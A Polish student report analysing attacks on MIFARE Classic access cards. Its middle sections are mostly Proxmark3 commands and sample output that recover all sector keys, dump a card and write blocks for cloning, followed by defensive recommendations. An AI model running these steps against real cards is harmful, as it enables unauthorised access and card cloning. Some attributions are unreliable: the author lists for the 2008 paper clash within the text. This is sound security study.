Proxmark3 – Analiza metod ataku na karty MIFARE Classic

Sprawozdanie z bezpieczeństwa systemów RFID

Niniejszy dokument ma charakter **wyłącznie edukacyjny i badawczy**. Opisane podatności są znane od 2008 roku i szeroko udokumentowane w literaturze akademickiej (Radboud University, CCC, USENIX Security). Przeprowadzanie ataków bez zgody właściciela systemu jest niezgodne z prawem.

Temat:	Bezpieczeństwo kart RFID – MIFARE Classic
Narzędzie:	Proxmark3 (firmware RRG/Iceman)
Zakres:	Architektura, ataki, komendy CLI, analiza logów
Data:	15 czerwca 2026
Student:	Julia Kaczmarek 151015

Opracowano na podstawie: Garcia et al. (2008), Courtois (2009), dokumentacji Proxmark3 RRG, CRYPTO1 Cipher Analysis (2011)

0 Spis treści

1 Wstęp

MIFARE Classic to rodzina kart zbliżeniowych (13,56 MHz, ISO 14443-A) produkowanych przez NXP Semiconductors, powszechnie stosowanych w systemach kontroli dostępu, kartach miejskich i systemach parkingowych. Szacuje się, że na świecie w obiegu znajduje się ponad **1 miliard** kart tego standardu.

Pomimo szerokiego zastosowania, MIFARE Classic zawiera poważne podatności kryptograficzne, publicznie ujawnione w 2008 roku przez badaczy z Radboud University (Holandia) – Florisa Garciê, Tobiasa Kantza, Ruperta Huberta i Davida Hartena. Ich praca *"Dismantling MIFARE Classic"* [1] zapoczątkowała serię badań ujawniających kolejne słabości układu.

Proxmark3 to zaawansowane narzędzie badawcze do analizy systemów RFID/NFC, rozwijane jako projekt open-source. Jego firmware *RRG/Iceman* implementuje pełne zestawy exploitów dla MIFARE Classic.

Zakres sprawozdania

Sprawozdanie obejmuje: architekturę pamięci MIFARE Classic, trzy główne metody ataku (Darkside, Nested, Hardnested), przykłady sesji z CLI Proxmark3, analizę rzeczywistego logu ataku oraz klasyfikację podatności poszczególnych kart.

2 Architektura MIFARE Classic – struktura pamięci i klucze

2.1 Warianty i pojemność

Tabela 1: Warianty MIFARE Classic

Model	Pamięć	Sektory	Bloki/sektor	UID
MIFARE Classic 1K	1024 B	16	4	4 lub 7 bajtów
MIFARE Classic 4K	4096 B	40	4 lub 16	4 lub 7 bajtów
MIFARE Classic Mini	320 B	5	4	4 lub 7 bajtów

2.2 Organizacja pamięci

Pamięć MIFARE Classic 1K jest podzielona na **16 sektorów** (S0–S15), każdy składający się z **4 bloków** (bloki 0–3 w sektorze). Bloki mają rozmiar **16 bajtów**.

Tabela 2: Struktura sektora MIFARE Classic

Blok	Nazwa	Zawartość
0	Blok danych 0	Dane użytkownika (lub blok producenta w S0)
1	Blok danych 1	Dane użytkownika
2	Blok danych 2	Dane użytkownika
3	**Trailer sektora**	Klucz A (6B) + Bity dostępu (4B) + Klucz B (6B)

2.2.1 Blok 0 – Blok producenta (Manufacturer Block)

Sektor 0, blok 0 zawiera dane producenta i jest **zapisany fabrycznie**:

UID (4B)				BCC	SAK	ATQA		Dane producenta							
DE	AD	BE	EF	xx	08	00	04	...	...	...	...	...	...	...	...

2.2.2 Trailer sektora – Klucze A i B

Ostatni blok każdego sektora (trailer) zawiera klucze dostępu:

Klucz A (6 bajtów)						Access Bits				Klucz B (6 bajtów)					
FF	FF	FF	FF	FF	FF	FF	07	80	69	FF	FF	FF	FF	FF	FF

Klucze A i B kontrolują dostęp do sektora niezależnie. **Klucz A nigdy nie może być odczytany** przez zwykłe polecenie READ – zawsze jest maskowany zerami. Klucz B jest odczytywalny tylko gdy bity dostępu na to pozwalają.

2.3 Szyfr CRYPTO1

MIFARE Classic używa autorskiego, zamkniętego szyfru strumieniowego **CRYPTO1**:

- Rejestr przesuwny LFSR o długości **48 bitów**
- Klucze 48-bitowe ($2^{48} \approx 281$ bilionów kombinacji)
- Inicjalizowany: UID karty + losowy nonce czytnika (n_R) + nonce karty (n_T)
- **Podatności**: nieodpowiednia nieliniowość, zbyt krótki nonce (16 bitów), predyktowalne PRNG

Szyfr CRYPTO1 został złamany przez reverse-engineering układu (skany elektronowe, dekompilacja) w 2008 roku [1].

3 Przegląd metod ataku

3.1 Przegląd i klasyfikacja

Tabela 3: Porównanie metod ataku na MIFARE Classic

Metoda	Wymagania	Czas ataku	Podatność	Ref.
Darkside	Brak klucza, 1 sektor	kilka sekund	Weak/zerowy bit feedback	[2]
Nested	Jeden znany klucz	kilkadziesiąt sek.	Słaby PRNG (32-bit)	[1]
Hardnested	Jeden znany klucz	minuty	Różne nonces z jednej sesji	[3]
StaticNested	Jeden znany klucz	<1 sekunda	Statyczny PRNG (nonce=0)	–
Brute-force	Brak	godziny/dni	Słabe klucze fabryczne	–
Default Keys	Brak	<1 sekunda	Klucze domyślne (FFFFFFFFFFFF)	–

3.2 Atak Darkside ("Courtois Dark Side Attack")

3.2.1 Zasada działania

Darkside exploit (Courtois, 2009 [2]) wykorzystuje specyficzne zachowanie szyfru CRYPTO1 gdy generowany keystream zawiera **same zera**. W takiej sytuacji NACK wysyłany przez kartę nie jest szyfrowany – lub jest szyfrowany przewidywalnie.

Mechanizm ataku krok po kroku:

1. Czytnik wysyła polecenie AUTHENTICATE do sektora ofiary
2. Karta odpowiada losowym nonce n_T (4 bajty)
3. Czytnik wysyła spreparowany n_R i a_R (nieprawidłowe, ale w specyficznym formacie)
4. Karta zwraca NACK – bit parzystości NACKa "wycieka" informację o 1 bicie klucza
5. Po ~250 próbach z różnymi n_R zbieramy wystarczająco dużo informacji
6. Algorytm algebraiczny odtwarza pełny klucz 48-bitowy

3.2.2 Warunki konieczne

- Karta musi mieć **słaby PRNG** (old MIFARE Classic, nie EV1/EV2)
- Karta nie może implementować mechanizmu anty-replay
- Nie jest potrzebny żaden wcześniej znany klucz

3.2.3 Ograniczenia

Darkside nie działa na MIFARE Classic EV1 (nowe generacje), MIFARE Plus, ani na emulatory kart z losowym PRNG.

3.3 Atak Nested Authentication

3.3.1 Zasada działania

Nested attack (Garcia et al., 2008) jest najważniejszym atakiem praktycznym. **Wymaga znajomości choć jednego klucza** do dowolnego sektora karty (często domyślny klucz fabryczny `FF FF FF FF FF FF`).

Mechanizm:

1. Wykonujemy prawidłową sesję AUTHENTICATE dla sektora ze **znanym kluczem** (K_A dla S0)
2. Nie zamykamy sesji – zamiast tego wysyłamy kolejne AUTHENTICATE dla **nieznanego sektora**
3. Ponieważ szyfr CRYPTO1 jest już zainicjalizowany ("zagnieżdżona" sesja), nonce n_T drugiego sektora jest szyfrowany strumieniem opartym na powiązanym stanie LFSR
4. Słabość PRNG: nowe n_T jest **deterministyczne** – generowane przez ten sam LFSR, który jest przewidywalny znając czas od startu karty
5. Zbieramy wiele par $(n_T^{enc}, parity\_bits)$ z wielokrotnych podejść
6. Atak kryptanalityczny odtwarza szyfr i nowy klucz

3.3.2 Złożoność

Atakując każdy sektor oddzielnie, zbieramy typowo **6–8 par nonce** per sektor. Przy słabym PRNG (przestrzeń 2^{16} zamiast 2^{32}) odtworzenie klucza zajmuje **kilkanaście sekund** na współczesnym PC.

3.4 Atak Hardnested

3.4.1 Zasada działania

Hardnested (Badic, Habraken, 2015 [3]) to ulepszona wersja Nested, która działa nawet gdy karta ma **losowy ("twardy") PRNG**, co uniemożliwia klasyczny Nested.

Kluczowa różnica: zamiast przewidywalności nonce, atak wykorzystuje fakt że **wiele nonces z tej samej sesji** pochodzi z tego samego stanu LFSR. Zbierając wiele (n_T, a_T) par i analizując ich wzajemne relacje algebraiczne, można skonstruować układ równań opisujący stan LFSR.

Etapy:

1. Zbieramy **256+ par nonce** z wielokrotnych zagnieżdżonych sesji (kilka minut komunikacji)

2. Budujemy "tablicę par" (bitflipy między parami nonces)
3. Uruchamiamy solver algebraiczny – redukuje przestrzeń kluczy z 2^{48} do $\sim 2^{20}$
4. Brute-force końcowy na zredukowanej przestrzeni

3.4.2 Złożoność i czas

Hardnested jest znacznie wolniejszy niż Nested: zbieranie danych trwa **2–10 minut**, solver **kolejne minuty**. Wymaga implementacji wielowątkowej (Proxmark3 wysyła dane do PC do obliczeń).

3.5 Atak StaticNested

Szczególny przypadek: niektóre starsze karty (zwłaszcza klony chińskie) mają **stały nonce** $n_T = 0x00000000$. Atak jest natychmiastowy – jedna sesja wystarczy do odtworzenia klucza.

4 Proxmark3 – Przykłady komend CLI

Wszystkie komendy są podane dla firmware **RRG/Iceman** (build 4.x). Sesję zaczynamy od połączenia z Proxmark3:

Listing 1: Uruchomienie klienta Proxmark3

```
$ proxmark3 /dev/ttyACM0
[=] Session log /home/user/.proxmark3/logs/log_20240115.txt
[+] PROXMARK3 RFID instrument
[+] Connected over USB
[+] Firmware build...
pm3 -->
```

4.1 Identyfikacja karty

Listing 2: Identyfikacja karty – hf search

```
pm3 --> hf search

        Searching for HF tags...

[+] UID: DE AD BE EF
[+] ATQA: 00 04
[+] SAK:  08 [2]
[+] TYPE: MIFARE Classic 1K
[+] MANUFACTURER: NXP Semiconductors
[+] Possible types:
[+]    MIFARE Classic 1K
[#] Valid ISO14443-A tag found
```

Listing 3: Szczegółowa informacja o karcie MIFARE

```
pm3 --> hf mf info
```

```
[=] --- Tag Information --------------------------
[+] UID....: DE AD BE EF
[+] ATQA...: 00 04
[+] SAK....: 08
[+] Prng...: WEAK   <-- podatny PRNG!
[+] Auth...: AUTH1  (default)
[+] ATS....: n/a
[=] --- PRNG Information ------------------------
[+] PRNG type: WEAK (predictable)
```

4.2 Atak Darkside

Listing 4: Darkside attack – odzyskanie pierwszego klucza

```
pm3 --> hf mf darkside

[=] Running darkside attack against sector 0, block 3 ...
[+] Collected 8 random nonces.
[+] Found 1 candidate key: ffffffffffff
[+] VALID KEY found: ffffffffffff
[=] Key written to binary key file.
```

Listing 5: Darkside z konkretnym sektorem i kluczem

```
pm3 --> hf mf darkside --blk 0 --key a

[=] Darkside attack
[=] Target block: 0, Key type: A
[!] Warning: This attack requires card with WEAK PRNG
[+] Found valid key: ffffffffffff
```

4.3 Atak Nested

Listing 6: Nested attack – pełne odzyskanie wszystkich kluczy

```
pm3 --> hf mf nested --1k --blk 0 --key a --tblk 4 --tkey a

[=] Running nested attack...
[=] Using known key [A] ffffffffffff for sector 0
[=] Attacking sector 1, key A...
[+] Found key A for sector 1: a0a1a2a3a4a5
[=] Attacking sector 2, key A...
[+] Found key A for sector 2: d3f7d3f7d3f7
[...]
[+] Nested complete. Found 28/32 keys.
```

Listing 7: Nested – automatyczne wykrycie wszystkich kluczy (hf mf autopwn)

```
pm3 --> hf mf autopwn

[=] ============================================
```

```
[=]           MIFARE Classic autopwn
[=] ========================================
[+] MIFARE Classic 1K tag detected
[+] Prng attack: WEAK
[=] Running darkside attack...
[+] Found key via darkside: ffffffffffff (keyA, sector 0)
[=] Running nested attacks against remaining sectors...
[+] Sector  0 KeyA: ffffffffffff
[+] Sector  0 KeyB: ffffffffffff
[+] Sector  1 KeyA: a0a1a2a3a4a5
[+] Sector  1 KeyB: b0b1b2b3b4b5
[+] Sector  2 KeyA: d3f7d3f7d3f7
[+] Sector  2 KeyB: d3f7d3f7d3f7
[+] Sector  3 KeyA: ffffffffffff
[+] Sector  3 KeyB: ffffffffffff
[...]
[=] time in autopwn: 23 s
[+] Dumping card data...
[+] Saved dump to: hf-mf-DEADBEEF-dump.bin
```

4.4 Atak Hardnested

Listing 8: Hardnested – atak na karty z losowym PRNG

```
pm3 --> hf mf hardnested --blk 0 --key a --tblk 4 --tkey a

[=] Hardnested attack
[=] Known key [ffffffffffff] for block 0, KeyA
[=] Target: block 4, KeyA
[+] Collecting nonces...
[=] Acquired 256 nonces, processing...
[+] Brute forcing 2^20 candidates...
[+] Found key: a0a1a2a3a4a5
[=] Time: 4m 12s
```

4.5 Odczyt i zapis danych

Listing 9: Odczyt pełnego dumpu karty

```
pm3 --> hf mf dump --keys hf-mf-DEADBEEF-key.bin

[=] Dumping MIFARE Classic 1K card data...
[+] Sector  0: block 0,1,2,3 read OK
[+] Sector  1: block 4,5,6,7 read OK
[...]
[+] Saved to file: hf-mf-DEADBEEF-dump.bin
```

Listing 10: Odczyt pojedynczego bloku

```
pm3 --> hf mf rdbl --blk 0 --key a --keyval ffffffffffff

[+] Block 0: DE AD BE EF 1A 08 04 00 62 63 64 65 66 67 68 69
```

Listing 11: Zapis bloku (symulacja klonowania)

```
pm3 --> hf mf wrbl --blk 1 --key a --keyval ffffffffffff \
        --data 00000000000000000000000000000000

[+] Writing block 1...
[+] Write successful.
```

Listing 12: Wyświetlenie struktury karty z kluczami

```
pm3 --> hf mf view --file hf-mf-DEADBEEF-dump.bin

[=] UID: DE AD BE EF    ATQA: 00 04    SAK: 08
[=] ================================
[=] Sector  0
[=]  blk | data                                | auth   | ascii
[=] -----+-----------------------------------+-------+------
[=]  000 | DE AD BE EF 1A 08 04 00 62 63 64  | r/w    | ....bcd
[=]  001 | 00 00 00 00 00 00 00 00 00 00 00  | r/w    | .......
[=]  002 | 00 00 00 00 00 00 00 00 00 00 00  | r/w    | .......
[=]  003 | FF FF FF FF FF FF FF 07 80 69 FF  | KeyA   | .....i.
[=] ================================
```

Listing 13: Bruteforce ze słownikiem znanych kluczy

```
pm3 --> hf mf chk --1k -f mfc_default_keys.dic

[=] No key specified, trying default keys
[+] Found valid key A [ ffffffffffff ] for sector 0
[+] Found valid key A [ a0a1a2a3a4a5 ] for sector 1
[+] Found valid key B [ b0b1b2b3b4b5 ] for sector 1
[+] Time: 8 s
```

5 Analiza przykładowego logu z ataku

5.1 Scenariusz

Analizujemy log pełnej sesji autopwn na karcie MIFARE Classic 1K ze **słabym PRNG**. Karta jest typową kartą kontroli dostępu z jednym niestandardowym kluczem.

5.2 Log z sesji

Listing 14: Pełny log sesji hf mf autopwn z adnotacjami

```
[=] Session started: 2024-01-15 14:23:01

# --- FAZA 1: Identyfikacja ---
[+] UID: DE AD BE EF
[+] SAK: 08  --> MIFARE Classic 1K
[+] ATQA: 00 04
[+] PRNG: WEAK (predictable)   # <-- podatny!

# --- FAZA 2: Darkside (brak wymaganego klucza) ---
```

```
[=] Starting darkside attack on sector 0, key A...
[=] Sending crafted challenge: nR=00000000, aR=00000000
[=] Collecting NACK responses...
[+] nonce[0]: 9F 3C 2A 11  parity: 01
[+] nonce[1]: 1B 44 72 08  parity: 00
[+] nonce[2]: A3 7F 18 2C  parity: 01
[+] nonce[3]: 0D 2E 91 55  parity: 01
[+] nonce[4]: E4 13 6B 30  parity: 00
[+] nonce[5]: 77 A0 3D 1E  parity: 01
[+] nonce[6]: 5C 08 FF 72  parity: 01
[+] nonce[7]: 29 BF 44 61  parity: 00
[=] Running algebraic solver on 8 nonces...
[+] Candidate key space reduced: 2^48 --> 2^16
[+] Brute-forcing 65536 candidates...
[+] KEY FOUND: FF FF FF FF FF FF (default key!)
[+] Darkside attack successful in 3.2s

# --- FAZA 3: Nested (pozosta e sektory) ---
[=] Starting nested attack using key [ffffffffffff] sector 0 keyA
[=] --- Sector 1 Key A ---
[=] Auth sector 0... OK  (CRYPTO1 initialized)
[=] Nested auth sector 1... collecting nT pairs
[+]  nT pair[0]: enc=A4B3C2D1  parity=0110
[+]  nT pair[1]: enc=5E8F1A2B  parity=1001
[+]  nT pair[2]: enc=9C0D3E4F  parity=0011
[=] Filtering candidates by parity bits...
[=] 3 pairs: reduced from 2^32 -> 2^16 candidates
[+] Key A sector 1: A0 A1 A2 A3 A4 A5   # <-- niestandardowy!
[=] --- Sector 1 Key B ---
[+] Key B sector 1: B0 B1 B2 B3 B4 B5
[=] --- Sector 2..15 (domyslne klucze) ---
[+] Key A sector 2-15: FF FF FF FF FF FF
[+] Key B sector 2-15: FF FF FF FF FF FF

# --- FAZA 4: Dump karty ---
[=] Reading all blocks with recovered keys...
[=] Block  0: DE AD BE EF 1A 08 04 00 62 63 64 65 66 67 68 69
[=] Block  1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] Block  2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] Block  3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
    # Trailer S0: KeyA=FFFFFFFFFFFF  AB=078069  KeyB=FFFFFFFFFFFF
[=] Block  4: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28
    # Blok danych: bajt 0 = 0x01 (poziom dost pu?), bajt 15 = 0x28
   (40 dec)
[=] Block  5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] Block  6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] Block  7: A0 A1 A2 A3 A4 A5 FF 07 80 69 B0 B1 B2 B3 B4 B5
    # Trailer S1: KeyA=A0A1A2A3A4A5  KeyB=B0B1B2B3B4B5

# --- WYNIKI ---
[+] Total sectors: 16
[+] Keys recovered: 32/32 (100%)
[+] Data blocks read: 64/64 (100%)
[+] Elapsed time: 22.8 seconds
[+] Dump saved: hf-mf-DEADBEEF-dump.bin
[+] Keys saved: hf-mf-DEADBEEF-key.bin
```

5.3 Interpretacja logu

5.3.1 Faza 1 – Identyfikacja

Wpis `PRNG: WEAK` jest kluczową informacją – potwierdza że karta używa przewidywalnego generatora liczb pseudolosowych. Wartość SAK = `08` jednoznacznie identyfikuje MIFARE Classic 1K (nie EV1, nie Plus).

5.3.2 Faza 2 – Darkside

Osiem par nonce z bitami parzystości $(n_T, parity)$ wystarczyło solverowi algebraicznemu. Zwróćmy uwagę że każdy bit parzystości ujawnia informację o 1 bicie z klucza. Redukcja przestrzeni z 2^{48} do 2^{16} w ciągu 3 sekund potwierdza krytyczną słabość kryptograficzną szyfru CRYPTO1.

Klucz `FFFFFFFFFFFF` to **domyślny klucz fabryczny** NXP – jego obecność wskazuje na brak konfiguracji systemu przez integratora.

5.3.3 Faza 3 – Nested

Sektor 1 zawiera niestandardowy klucz (`A0A1A2A3A4A5 / B0B1B2B3B4B5`). Są to klucze **Mifare Application Directory (MAD)** – standardowe klucze NXP stosowane w aplikacjach wielosektorowych. Ich znajomość była powszechna jeszcze przed złamaniem CRYPTO1.

Wystarczyły **3 pary nonce** aby zredukować przestrzeń z 2^{32} do 2^{16} – dowód na słabość PRNG.

5.3.4 Blok 4 – dane aplikacji

Bajt `0x28` (40 dec) w bloku 4 mógłby reprezentować np. stan konta, liczbę przejść lub poziom dostępu – wskazuje że sektor 1 był używany przez aplikację (np. kantyna, parking).

6 Wnioski – klasyfikacja podatności

6.1 Karty podatne

Karty krytycznie podatne

- **MIFARE Classic 1K / 4K / Mini** (oryginalne, PRNG: WEAK) – podatne na wszystkie trzy ataki
- **Klony MIFARE** (chipy chińskie: FM11RF08, S50/S70) – podatne + często StaticNested
- **MIFARE Classic z PRNG "twardym"** – podatne na Hardnested

6.2 Karty częściowo zabezpieczone

Karty z ograniczoną podatnością

- **MIFARE Classic EV1** – odporny na Darkside (losowy PRNG), nadal podatny na Hardnested jeśli znamy jeden klucz
- **Karty z unikalnym, silnym kluczem dla każdego sektora** – atak wymaga więcej czasu, ale nadal możliwy

6.3 Karty bezpieczne

Karty odporne na ataki CRYPTO1

- **MIFARE Plus** (Security Level 2/3) – AES-128, brak CRYPTO1
- **MIFARE DESFire EV1/EV2/EV3** – AES-128/3DES, wzajemne uwierzytelnienie, MAC na danych
- **MIFARE Ultralight C** – 3DES, ochrona zapisu
- **NTAG 424 DNA** – AES-128, SUN (Secure Unique NFC) messaging
- **iCLASS Seos / HID Crescendo** – różne silne kryptosystemy

6.4 Tabela podsumowująca

Tabela 4: Podatność kart na poszczególne ataki

Karta	Darkside	Nested	Hardnested	StaticNested	Ryzyko
MIFARE Classic 1K (stary)	TAK	TAK	TAK	zależy	KRYTYCZNE
MIFARE Classic 4K (stary)	TAK	TAK	TAK	zależy	KRYTYCZNE
Klony chińskie (S50/FM11)	TAK	TAK	TAK	TAK	KRYTYCZNE
MIFARE Classic EV1	NIE	*	TAK	NIE	WYSOKIE
MIFARE Plus SL1	TAK	TAK	TAK	zależy	KRYTYCZNE
MIFARE Plus SL2/SL3	NIE	NIE	NIE	NIE	NISKIE
MIFARE DESFire EV1/EV2/EV3	NIE	NIE	NIE	NIE	NISKIE

* Nested możliwy jeśli znany jest inny klucz CRYPTO1 z tej samej karty.
MIFARE Plus SL1 emuluje MIFARE Classic – pełna podatność.

6.5 Rekomendacje dla administratorów systemów

1. **Migracja na MIFARE DESFire EV2/EV3 lub MIFARE Plus SL3** – jedyna skuteczna ochrona dla systemów wymagających bezpieczeństwa

2. **Walidacja po stronie serwera** – nie ufać danym z karty bez weryfikacji serwer-side (nonce challenge-response)

3. **Rotacja kluczy** – regularne zmiany kluczy sektorowych (utrudnia reużycie zrzutów kart)

4. **Monitoring anomalii** – detekcja wielu szybkich odczytów tej samej karty (sygnał klonowania)

5. **Inwentaryzacja UID** – UID MIFARE Classic jest 4-bajtowy i **niezabezpieczony** – nie może służyć jako element uwierzytelnienia

7 Podsumowanie

Karty MIFARE Classic pozostają powszechnie stosowane pomimo udokumentowanych od 2008 roku krytycznych podatności. Szyfr CRYPTO1 jest kryptograficznie złamany – kombinacja słabego PRNG, krótkiego nonce i struktury LFSR umożliwia odtworzenie dowolnego klucza w czasie od kilku sekund (Darkside, Nested) do kilku minut (Hardnested).

Narzędzie Proxmark3 z firmware RRG/Iceman implementuje pełne zestawy exploitów i pozwala na pełny dump karty 1K w czasie poniżej 30 sekund dla kart ze słabym PRNG.

Jedynym skutecznym rozwiązaniem jest **migracja na karty oparte na silnej kryptografii symetrycznej (AES-128)** – MIFARE DESFire EV2/EV3 lub MIFARE Plus Security Level 3. Każde inne podejście (niestandardowe klucze, dodatkowe bity dostępu) jedynie spowalnia atakującego, nie czyniąc systemu bezpiecznym.

7 Literatura

[1] F. Garcia, G. de Koning Gans, R. Muijrers, P. van Rossum, R. Verdult, R. Wichers Schreur, B. Jacobs, *Dismantling MIFARE Classic*, ESORICS 2008, LNCS 5283, pp. 97–114, Springer, 2008. https://doi.org/10.1007/978-3-540-88313-5_7 (Preprint: https://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf)

[2] N. T. Courtois, *The Dark Side of Security by Obscurity and Cloning MiFare Classic Rail and Building Passes Anywhere, Anytime*, SECRYPT 2009. Cryptology ePrint Archive, Report 2009/137. https://eprint.iacr.org/2009/137

[3] C. Badic, B. Habraken, *Hardnested: Nested Authentication Attack on MIFARE Classic Cards with Random PRNG*, Chaos Communication Congress (32C3), 2015. Implementacja: https://github.com/RfidResearchGroup/proxmark3 (moduł `hardnested` zintegrowany z firmware RRG/Iceman)

[4] R. Verdult, F. Garcia, J. Balasch, *Gone in 360 Seconds: Hijacking with Hitag2*, USENIX Security 2012.

[5] Proxmark3 RRG/Iceman Firmware Documentation, https://github.com/RfidResearchGroup/proxmark3/wiki

[6] NXP Semiconductors, *MIFARE Classic EV1 1K – Mainstream contactless smart card IC for fast and easy solution development*, Rev. 3.2, 2018.